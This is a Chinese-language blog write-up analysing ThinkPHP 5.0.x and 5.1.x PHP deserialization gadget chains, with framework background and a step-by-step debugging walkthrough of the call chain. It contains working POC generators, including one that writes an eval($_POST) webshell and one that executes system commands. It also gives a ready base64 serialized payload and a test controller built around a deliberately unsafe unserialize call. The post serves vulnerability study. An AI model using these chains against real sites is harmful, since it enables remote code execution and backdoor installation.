欠了很久的Thinkphp5.x审计

欠了很久的Thinkphp5.x审计 (未完

https://blog.csdn.net/qq_62989306/article/details/126913050)

前置知识

thinkphp 框架的目录结构

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行定义文件
│  ├─common.php         公共函数文件
│  └─tags.php           应用行为扩展定义文件
│
├─config                应用配置目录
│  ├─module_name        模块配置目录
│  │  ├─database.php    数据库配置
│  │  ├─cache           缓存配置
│  │  └─ ...            
│  │
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─log.php            日志配置
│  ├─session.php        Session配置
│  ├─template.php       模板引擎配置
│  └─trace.php          Trace配置
│
├─route                 路由定义目录
│  ├─route.php          路由定义
│  └─...                更多
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

入口文件

入口文件一般是整个web站的起点,一般是index.php,也有其他情况,比如后台模块设置admin.php为起点

入口文件可以URL重写功能,通过appache重写的机制将其隐藏,隐藏方法是public公共目录下有个.htaccess文件,这个文件可以实现默认入口文件的隐藏

application

应用是URL请求到完成的(生命周期)处理对象,由\think\App类处理,应用必须在入口文件(如index.php)中调用并且执行,应用可以有自己独立的配置文件(config.php)和公共的函数文件(common.php)

模块

一个应用可以有多个模块,对应着应用的不同部分,比如前台和后台

每个模块都可以有完整的MVC库,创建和管理这些类的库是最主要的工作。在application下面有index,这是默认模块。在index模块下有controller控制器目录,还可以在index下建立两个目录一个是model,一个是view。现在index模块下MVC的三部分就完整了。每个模块都有独立的配置文件(config.php)和公告函数文件(common.php)。

试图(view)

最直观的来说view就是一系列html文件组成

thinkphp生命周期

1.入口index.php(定义常量,加载框架的引导文件)=>2.引导文件(加载常量,加载环境变量,注册加载,注册错误于异常,加载惯例配置)=>3.注册自动加载,注册错误于异常机制=>4.应用初始化=>5.URL访问检测(PATH_INFO)=>6.路由检测=>7.分发请求(根据对应的路由地址,完成应用的业务逻辑,并返回数据)=>8.响应输出,结束响应

thinkphp 5.0.x

这条链子就不分析了,看看大概过程。以后有空再来补一手

poc:(影响版本5.0.24和5.0.18,5.0.9不可用)

写文件的链子:

<?php

//__destruct
namespace think\process\pipes{
    class Windows{
        private $files=[];

        public function __construct($pivot)
        {
            $this->files[]=$pivot; //传入Pivot类
        }
    }
}

//__toString Model子类
namespace think\model{
    class Pivot{
        protected $parent;
        protected $append = [];
        protected $error;

        public function __construct($output,$hasone)
        {
            $this->parent=$output; //$this->parent等于Output类
            $this->append=['a'=>'getError'];
            $this->error=$hasone;   //$modelRelation=$this->error
        }
    }
}

//getModel
namespace think\db{
    class Query
    {
        protected $model;

        public function __construct($output)
        {
            $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
        }
    }
}

namespace think\console{
    class Output
    {
        private $handle = null;
        protected $styles;
        public function __construct($memcached)
        {
            $this->handle=$memcached;
            $this->styles=['getAttr'];
        }
    }
}

//Relation
namespace think\model\relation{
    class HasOne{
        protected $query;
        protected $selfRelation;
        protected $bindAttr = [];

        public function __construct($query)
        {
            $this->query=$query; //调用Query类的getModel

            $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
            $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
        }
    }
}

namespace think\session\driver{
    class Memcached{
        protected $handler = null;

        public function __construct($file)
        {
            $this->handler=$file; //$this->handler等于File类
        }
    }
}

namespace think\cache\driver{
    class File{
        protected $options = [
            'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'cache_subdir'=>false,
            'prefix'=>'',
            'data_compress'=>false
        ];
        protected $tag=true;


    }
}

namespace {
    $file=new think\cache\driver\File();
    $memcached=new think\session\driver\Memcached($file);
    $output=new think\console\Output($memcached);
    $query=new think\db\Query($output);
    $hasone=new think\model\relation\HasOne($query);
    $pivot=new think\model\Pivot($output,$hasone);
    $windows=new think\process\pipes\Windows($pivot);

    echo base64_encode(serialize($windows));
}

直接rce的链子:

thinkphp 5.1.x

环境搭建

用composer安装源码才能不报错,用git就报错

https://doc.thinkphp.cn/v5_1/anzhuangThinkPHP.html

我电脑powershell执行不了composer,但是cmd却能执行composer,不知道为啥很奇怪,看了环境变量都设置了composer的path,应该是powshell安全策略的问题

在thinkphp5.1.37版本下进行thinkphp5.1.x调试,改composer.json里面的版本号为5.1.37,然后composer update重新拉取就OK了

解决xdebug调试时间过短timeout问题https://www.cnblogs.com/csjoz/p/17850045.html

打开phpstudy修改找到对应版本,找到扩展插件打开Xdebug插件[phpstorm+phpstudy调试thinkphp_如何在phpstorm中调试php程序-CSDN博客]

分析调试:

尝试一下触发反序列化,首先我们应该输入接口,把application下的index进行改变:

<?php
namespace app\index\controller;

class Index
{
    public function index($input="")
    {
        echo "ThinkPHP5_Unserialize:\n";
        unserialize(base64_decode($input));
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}
/**input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami**/

触发成功:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["harder"=>["calc.exe","calc"]];
        $this->data = ["harder"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $param = [];
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'harder'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->param = ['whoami'];
    }
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

先序列化调试一遍,在exp.php中下断点,第一步是在windows的__construct魔术方法中进行中

第二步跳转到了Model类中的__construct魔术方法中

第三步Request类中的__conostruct魔术方法

序列化过程感觉看不出什么,大概知道了是从windows类进入Request类结尾,这些参数对应什么意思也不是很明确,是否触发了其他魔术方法也不知道,为什么能触发这些类也不明确,之间有什么联系

然后我们现在又在index.php下断点进行反序列化调试

在windows类中的__destruct魔术方法触发了removeFiles()函数,跟进函数

发现在file_exists()函数这发生了跳转,到了 trait Conversion类中

因为在函数file_exits中会把传入的filename看成字符串使用,故会触发__tostring魔术方法

我们明明传入的是new Pivot()类,为什么触发trait Conversion的__tostring魔术方法呢

我们可以看到继承了Model类,在继续更进Model

可以看到Model类中use了Conversion类(trait增加了代码复用性),所以能触发Conversion类的魔术方法

大概流程(拿的佬的图):

然后继续我们进入toJson方法,然后继续怎么操作呢,在进入toArray函数,这个比较长了,一步一步调试

 if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

首先我们看到我们的POC

abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["harder"=>["calc.exe","calc"]];
        $this->data = ["harder"=>new Request()];
    }
}

key为harder

首先进入getRelation方法,然后再次进入getAttr方法。分别分析两个方法

因为$name不为null,所以直接return;跳出

进入getAttr方法中,然后跳出了就是Request类了,这个过程较长就不一一阐述了,自己手动调试一下就懂了

因为返回的relation的值是request类,而且没有relation->visible()方法故调用request类的__call魔术方法

分析一手函数:

理解

call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->$func($this,$argv)

这个函数里面$this->hook[$method]是可以任意控制的,又因为上述中call_user_func_array中第一个参数函数格式为[$obj,"任意方法"]也就是对象的方法,等于$obj->任意方法();我们可以看到POC中,我们把任意方法写成了isAjax方法,这是为什么呢。

POC:
        $this->hook = ["visible"=>[$this,"isAjax"]];//$this为request,isAjax为request中的一个方法

request中有一个特殊的方法是什么呢就是许多rce链子都要用到的过滤器filter

可以看到有一个call_user_fun($filter, $value);其中$value是不可以控制的,那我们继续找哪些方法中调用了filterValue方法,我们找到了input方法

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

这里 $this->filterValue($data, $name, $filter);用到了filterValue但参数依然不受控制,再找谁调用了input函数

 public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

然后再往上面找param调用了input函数,但是这里仍然不可以控制,继续往上面找方法

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

找到isAjax方法,其中的$this->config是可以控制的,我们直接传入参数即可

 public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

则我们最初的rce方法filterValue中的call_user_func($filter, $value);则value可以控制了。因为param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

而param函数可以获得$_GET数组并赋值给$this->param,就相当于

POC:$this->config = ["var_ajax"=>'harder'];
我只需GET传入harder的值,就可以进行任意命令执行了

跟进分析一波:

跟进param方法中的method方法

然后跳转到下面的get()方法中$this->get=$_GET

getdata中获得harder键值,返回值就是我们的命令,也就是对harder=传入的参数

接着跟进getFilter函数,发现$filter值是可以控制的,由$this->filter控制。现在filter的值现在才为system,刚刚是一直为空

最后进入filterValue方法,实现rce

贴一手老图:

整条链子

\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()

thinkphp\library\think\model\concern\Conversion.php - > __toString()

thinkphp\library\think\model\concern\Conversion.php - > toJson() 

thinkphp\library\think\model\concern\Conversion.php - > toArray()

thinkphp\library\think\Request.php   - > __call()

thinkphp\library\think\Request.php   - > isAjax()

thinkphp\library\think\Request.php - > param()

thinkphp\library\think\Request.php - > input()

thinkphp\library\think\Request.php - > filterValue()

虽然exp很短,但是整个调用过程确实长

thinkphp 5.2.x

因为没有环境,所以我就看看人家的分析

https://xz.aliyun.com/t/6619?time__1311=n4%2BxnD0DRDBidY5eGN3xCq4Wq0KZP7KqtwLdx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F6619#toc-2 本地存了

后记

关于tp反序列化漏洞最大的利用点就是在后期开发时要遇到可控的反序列化点,不然利用不了,分析这几条链子增强了自己对thinkphp框架的理解.

分析tp漏洞的时候,结合poc一起看,硬调还是非常难受的。

整体感觉分析完了,感觉对整个链子的过程还是清楚了一些。

后面再继续补链子分析吧,每天有比赛

参考文章:

https://xz.aliyun.com/t/11658

https://www.cnblogs.com/yokan/p/16102644.html

https://z1d10t.fun/post/60ce7176.html#more